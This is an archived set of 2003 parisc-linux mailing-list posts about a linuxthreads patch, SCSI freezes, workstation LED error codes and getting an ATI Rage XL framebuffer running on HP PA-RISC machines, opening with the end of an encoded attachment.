Vhf/Z7vp+B1udZC8JfrJ3zpv4IdWoeSSm0VKA5UAx9a+aWTuyxbvrbU+lh09
rLQweHuTi/YXiEmcYH/8/rL/njcK3Wva6kX80z8Oz6fp9Gb20ftHEwZDyGKy
ZNloOGmYnSYywZHJDYJMbwYo4qEIPhrGwXSMzjN2UQTlYDxEkRGKoFyPxygy
Q5DZEOszQ1d0NsTkmY2weaaTjjxgurR2ZFOkg+uh8wPkmgdDmj1z89DcjDB6
Y24em5sn5uYZwjfCiovw4naYWQs+zRJDW9puS9VCr/f1s6/j8+kxb1TplVHk
ef8r//j15du3/Nx/p1/Maze8eGxvJC/rPMU8S7BEJWA06FRpNsE4NIejBYQ8
OcCQd3OWoLUnQAD+OgaFBJyAncHwAUbUXdMDLFuyJU6d0UZO+Nq0C4ryrO4K
EZ8htrjsh1VpAKodRvPtokXlZmcBoIiJkGC1d4AP/QUi2kYIXwi3sxhKf9GB
BAu6E09UirzcL+a04YMYJ9UEdDFvGIi3NndsaPRGhsbCVHVmXYhIbbmvVtNM
RIG5XqSmNN2Juj2b/p429rpsAcbqLL7i/dR+99DYmwsuOj+LqXoT21kpmsa/
XbfTBA6D6/32vOqCl6eX40OjRhpCQb9VaawbMhLwm9GNuWigpJir6QSpMSpw
GqKvTQXOwtQdrJFPRrjPrQTlEItU4j5dwYMceVPbCEy6wwny2F0T2EeQsJ/C
RhISpoOQ9ynMtu8qq0iQkvwS53RlUOISW5EkFNFdf5chIp2NsZK2gkKKiNMN
n2MF5wWRzUZcBZSRTwOsoO+NJMbKaAuKDSdTj2IleIXO2EnKYYS0yrIJ+c7w
FprKef+qhMZW9kDO0dRJiekHl2aaS7fOSeQXpqoVCQDAVpRnK2p+etIE6Qo5
YRUIx9j0oYKGdR6+yztJfSS3ULATcs9ctKZRvfzIVFKJBHy67mzXZksqrkUF
0eSCmL+TadItEsawYrUmHZc+9hV5a9qYvj/WKp7CWPm7dNL3k4G5FKNLhpje
JtnnNIzlCqk4K7bTwvr1SRfFV0h9/xXDX/OvBNjzr4bXyCeUhRqhL7GFRDxW
zPyWoOEtse38eq4s+hOLLUvAT8Qn96mH2JWCcZ9ObfpESRRZ1jvkNBE22VYx
/L/4+AaVgC2JRCqLNJ6oYOre4CyuyRYrgNQwJchzabExu+nUneCrQ33K0C+V
C2sl51jBbwnLSbsw6s0oy/x82D/qUAdCnEsroGnvQFEaga8OFzeW/SMpS+SW
IB/naArFl/jo8yTYLC3iB7T/Jdxa16U9Oj/29z/LD+Gqi0679zoXnty20/76
47DqHwkxO7wJCRloeu/ol2t1fn26nL6f908/Dvemf8+CJnex6pcpBYev5/35
1TmfXi6HY97pQts1t9f2LwHXIU6n7qporaux/gsPbpggbUUAAA==
--57786536-2133366339-1066241952=:181--


From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] linuxthreads for hppa (1/3)
Date: Wed, 15 Oct 2003 14:33:29 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20031015183329.GG31385__1636.53321001238$1416622879$gmane$org@systemhalted>
References: <20031010204444.GF6454@systemhalted> <3F8CD774.4040400@redhat.com> <20031015054045.GE22495@systemhalted> <3F8CE195.2090106@redhat.com> <20031015142648.GF22495@systemhalted> <3F8D85B9.8090504@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622879 32688 80.91.229.3 (22 Nov 2014 02:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:19 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 12:37:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49D5D4868
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 12:37:11 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A9qSg-000092-00; Wed, 15 Oct 2003 14:33:30 -0400
Content-Disposition: inline
In-Reply-To: <3F8D85B9.8090504@redhat.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (47% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19837

On Wed, Oct 15, 2003 at 10:36:57AM -0700, Ulrich Drepper wrote:
> > How do you propose it be handled? All arches define __LT_SPINLOCK_INIT
> 
> I'm talking about this __LOCK_INITIALIZER -> __LOCK_ALT_INITIALIZER
> change.  Why do you claim the right to rename the symbol?

The original __LOCK_INITIALIZER did not have a cast 
to (int).

The new __LOCK_INITIALIZER does not have a cast to 
(struct _pthread_fastlock)

When using a structure in an assignment within a function the named
initializer version is required, such that the constructor can setup the
object. Instead of using __LOCK_INITIALIZER which is already expected to
be of a certain type without a cast, I created __LOCK_ALT_INITIALIZER
and made 2 changes instead of the 6 or more that would be required had I
reversed the semantics.

The same logic applied when I defined __LT_SPINLOCK_ALT_INIT. In order
to minimize changes the default behaviour is to use the named init, the ALT
behaviour does not. The ALT case is hidden inside
__pthread_lock_define_initialized and cannot use a cast.

Should you like, I could reverse the behaviour of the above
__LOCK_ALT_INITIALIZER, but I would have to make changes to initspin.h
and pthread.h so the initialization macros work.

My net is currently down and I cannot verify if initspin.h and pthread.h
are the only files that would require changes.

In summary I chose the semantics to _minimize_ code change. If you
prefer header changes over core .c file changes then I can reverse the
semantics of __LOCK_INITIALIZER with that of the ALT version.

c.



From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hp_sdc_rtc
Date: Wed, 15 Oct 2003 19:54:32 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <20031015185432.GI16535@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622879 32690 80.91.229.3 (22 Nov 2014 02:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 12:54:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 660514868
	for <parisc-linux@parisc-linux.org>; Wed, 15 Oct 2003 12:54:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A9qn2-0001mA-KY
	for parisc-linux@parisc-linux.org; Wed, 15 Oct 2003 19:54:32 +0100
Content-Disposition: inline
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19838

Is anyone still caring for this in 2.4 or 2.6?  If so, let me know by
private mail; I've got some questions.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Riccardo Mottola <rollei@tiscalinet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] scsi problems on a 720
Date: Thu, 16 Oct 2003 01:40:42 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <BBB3A799.977A%rollei@tiscalinet.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622880 32693 80.91.229.3 (22 Nov 2014 02:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:20 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 17:41:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp2.libero.it (smtp2.libero.it [193.70.192.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id 73D2C4868
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 17:41:59 -0600 (MDT)
Original-Received: from [192.168.1.10] (151.37.44.117) by smtp2.libero.it (7.0.020-DD01)
        id 3F6F0DA900842D76 for parisc-linux@lists.parisc-linux.org; Thu, 16 Oct 2003 01:42:35 +0200
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19839

Hello,

I tried to install linux (specifically gentoo, but the same problem appears
using debian too) and had mysterious kernel freezes.
The guys at gentoo-hppa told me to ask here since they didn't know further.

I have a 9000/720. The computer runs without problem using HP-UX.

I have added a second drive, an IBM, 2GB. Using mediainit from hp-ux reports
no errors.

If I try to put a new filesystem like ext2 or ext3 on the big (about 2gb)
partition, the kernel will freeze while running mkfs. Frreze means no
output, no error messages. The heartbeat stops.
Putting reisers seems to work, but after downloading  and  uncompressing a
big file, i get the same error-less kernel freeze.

this is what dmesg reports:
3. Cobra Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x4, 0x0, 0x71
SCSI subsystem driver Revision: 1.00
scsi0 : LASI SCSI 53c700
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Type:   CD-ROM                             ANSI SCSI revision: 02
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
SCSI device sdb: 4404489 512-byte hdwr sectors (2255 MB)

and this is seen in lsmod:
lasi700                 1684   1
53c700                 27564   0  [lasi700]

thanks, Riccardo



From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Bromwich <lists@fop.ns.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715/75 malfunction
Date: Thu, 16 Oct 2003 10:02:20 -0300 (ADT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310160959360.16100@brain.fop.ns.ca>
References: <6a.3690d764.2cbeba02@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622880 32697 80.91.229.3 (22 Nov 2014 02:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 16 07:02:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from brain.fop.ns.ca (s7n18.hfx.eastlink.ca [24.222.7.18])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F52848A3
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Oct 2003 07:02:27 -0600 (MDT)
Original-Received: from lists (helo=localhost)
	by brain.fop.ns.ca with local-esmtp (Exim 3.35 #1 (Debian))
	id 1AA7ll-0004yK-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Oct 2003 10:02:21 -0300
In-Reply-To: <6a.3690d764.2cbeba02@aol.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19840

Hi,

On Wed, 15 Oct 2003 JjDunnjr@aol.com wrote:

> Gentlepersons:
> I have a 715/75 workstation.  I have acquired a set of Debian CDs from an
> official source.
> Just recently, but now without fail, the w/s won't boot.  The LEDs display
> the following messages:
>
> within 2 seconds: 7-5-4-3-2-1
>
> 2 seconds later: 6-1

I had a similar problem on a 715/50 and the workstation became a spares
box (ie, not worth repairing). http://www.openpa.net/led.html has a
listing of LED codes, I think 6-1 is CPU/FPU error, with a solution of
"probably replace mainboard/CPU".

Cheers, Steve


From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Thu, 16 Oct 2003 15:51:11 +0200
Lines: 125
Approved: news@gmane.org
Message-ID: <3F8A29A2000025F8@ocpmta1.freegates.net>
References: <Pine.LNX.4.10.10310151939440.181-102000@headcount.blah.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622880 32699 80.91.229.3 (22 Nov 2014 02:21:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: hinzen@blah.pl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 16 07:51:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 707FE48A3
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Oct 2003 07:51:24 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AA8X2-0006Sb-00; Thu, 16 Oct 2003 15:51:12 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 16 Oct 2003 15:51:11 +0200
In-Reply-To: <Pine.LNX.4.10.10310151939440.181-102000@headcount.blah.pl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19841

Thomas,

Thanks a lot, you config file was very helpfull to make it work:
root@fw02:~# modprobe atyfb
atyfb: using auxiliary register aperture
atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
230 MHz PLL, 83 Mhz MCLK, 63 Mhz XCLKConsole: switching to colour frame buffer
device 80x30
fb0: ATY Mach64 frame buffer device on PCI
root@fw02:~# lsmod
Module                  Size  Used by    Not tainted
atyfb                  29232  63 
fbcon-cfb16             5620   0  [atyfb]
fbcon-cfb8              5164   0  [atyfb]
fbcon-cfb32             5780   0  [atyfb]
fbcon-cfb24             5892   0  [atyfb]
root@fw02:~# tail -f /var/log/syslog
[...]
Oct 16 13:16:46 fw02 kernel: atyfb: using auxiliary register aperture
Oct 16 13:16:46 fw02 kernel: atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27]
8M WRAM, 14.31818 MHz XTAL, 230 MHzKOct 16 13:16:46 fw02 kernel: Console:
switching to colour frame buffer device 80x30
Oct 16 13:16:46 fw02 kernel: fb0: ATY Mach64 frame buffer device on PCI

and also fbset works fine:
root@fw02:/Sources# fbset --test

mode "640x480-60"
    # D: 25.172 MHz, H: 31.466 kHz, V: 59.934 Hz
    geometry 640 480 640 480 8
    timings 39726 48 16 33 10 96 2
    accel true
    rgba 8/0,8/0,8/0,0/0
endmode

root@fw02:/Sources# fbset 1024x768-60
root@fw02:/Sources# fbset --test

mode "1024x768-60"
    # D: 64.666 MHz, H: 48.115 kHz, V: 59.696 Hz
    geometry 1024 768 1024 768 8
    timings 15464 160 24 29 3 136 6
    accel true
    rgba 8/0,8/0,8/0,0/0
endmode

:)

Nice :). I just have to make works Xserver (xdm complaining to not find /usr/X11R6/lib/X11/xdm/Xsetup.
I will try to remember why)

Many thanks again,
    Joel

>-- Original Message --
>From: Tomasz Hinzmann <hinzen@blah.pl>
>Reply-To: hinzen@blah.pl
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Wed, 15 Oct 2003 20:21:35 +0200 (CEST)
>Subject: RE: [parisc-linux] ATI rage xl and C360 (it works!)
>
>
>
On Wed, 15 Oct 2003, Joel Soete wrote:

> Sorry but on the b180L on wich card is pluged in, i boot a kernel with
module
> support and build the new atyfb module and when I modprobe it the system
> crash (without oops message :( ).
> The only mes
>age I got is:
> atyfb: using auxiliary register aperture
> atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
> 230K
> 
> which seems more relevant then previous test (with original atyfb support).

Hi Joel,
this is wha
> I read when I modprobe the driver:

...
bigmama:~# modprobe atyfb
atyfb: using auxiliary register aperture
atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
230
MHz PLL, 83 Mhz MCLK, 63 Mhz XCLK
Console: switching to c
>lour frame buffer device 80x30
fb0: ATY Mach64 frame buffer device on PCI
bigmama:~# 
...

I also run a kernel with the driver built-in and it behaves fine.

> Never the less, I would like very much that it works and so ask you the
favor
> to s
>nd me your .config file to be sure I do not lost anything :) (btw with
> your XF86Config-4 :) )

Please find both configs attached; I hope they'll be helpful.

Thanks,
t.

-- 
hinzen@blah.pl

>
>Attachment: XF86Config-4.gz
>
>
>Attachment: config-2.4.22-pa12.gz
>


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Thu, 16 Oct 2003 17:10:39 +0100 (IST)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310161708130.15082@sal.ucc.ie>
References: <3F8A29A2000025F8@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622881 32703 80.91.229.3 (22 Nov 2014 02:21:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:21 +0000 (UTC)
Cc: hinzen@blah.pl, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 16 10:10:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4800148A3
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Oct 2003 10:10:49 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h9GGAd3i010920;
	Thu, 16 Oct 2003 17:10:40 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3F8A29A2000025F8@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19842

On Thu, 16 Oct 2003, Joel Soete wrote:

> Thomas,
>
> Thanks a lot, you config file was very helpfull to make it work:
> root@fw02:~# modprobe atyfb
> atyfb: using auxiliary register aperture
> atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
> 230 MHz PLL, 83 Mhz MCLK, 63 Mhz XCLKConsole: switching to colour frame buffer
> device 80x30
> fb0: ATY Mach64 frame buffer device on PCI

I wonder whether you can also use more recent ATI Radeon graphic cards.
So far I've only seen reports about ATI Rage XL, but does this patch
work with any kind of ATI card?

Thanks,
  Max


From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Use and ATI 7xxx PCI in a c3k? (Will buy cards)
Date: Thu, 16 Oct 2003 12:36:13 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <20031016163613.GA13008@systemhalted>
References: <3F8A29A2000025F8@ocpmta1.freegates.net> <Pine.LNX.4.58.0310161708130.15082@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622881 32704 80.91.229.3 (22 Nov 2014 02:21:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:21 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>, hinzen@blah.pl,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 16 10:40:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B99A48A3
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Oct 2003 10:40:36 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AAB6j-0003Oi-00; Thu, 16 Oct 2003 12:36:13 -0400
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0310161708130.15082@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (4% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19843

On Thu, Oct 16, 2003 at 05:10:39PM +0100, M. Grabert wrote:
> On Thu, 16 Oct 2003, Joel Soete wrote:
> > Thanks a lot, you config file was very helpfull to make it work:
> > root@fw02:~# modprobe atyfb
> > atyfb: using auxiliary register aperture
> > atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
> > 230 MHz PLL, 83 Mhz MCLK, 63 Mhz XCLKConsole: switching to colour frame buffer
> > device 80x30
> > fb0: ATY Mach64 frame buffer device on PCI
> 
> I wonder whether you can also use more recent ATI Radeon graphic cards.
> So far I've only seen reports about ATI Rage XL, but does this patch
> work with any kind of ATI card?

The core chipsets are different, ranging from R100 -> R300. The
development teams were not the same. I've tried to bringup an R300
(Radeon 9700) on a non-x86 arch and it was a big pain. I do not think
that this patch will work for R200's (7xxx series, and 8xxx) or R300's 
(9xxx series). Having said that I've seen seen weirder things work... I
have an R200 AGP and thus I can't try it on my C3K. If anyone has a PCI
ATI 7xxx card I would love to buy it from them for testing :)

c.



From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
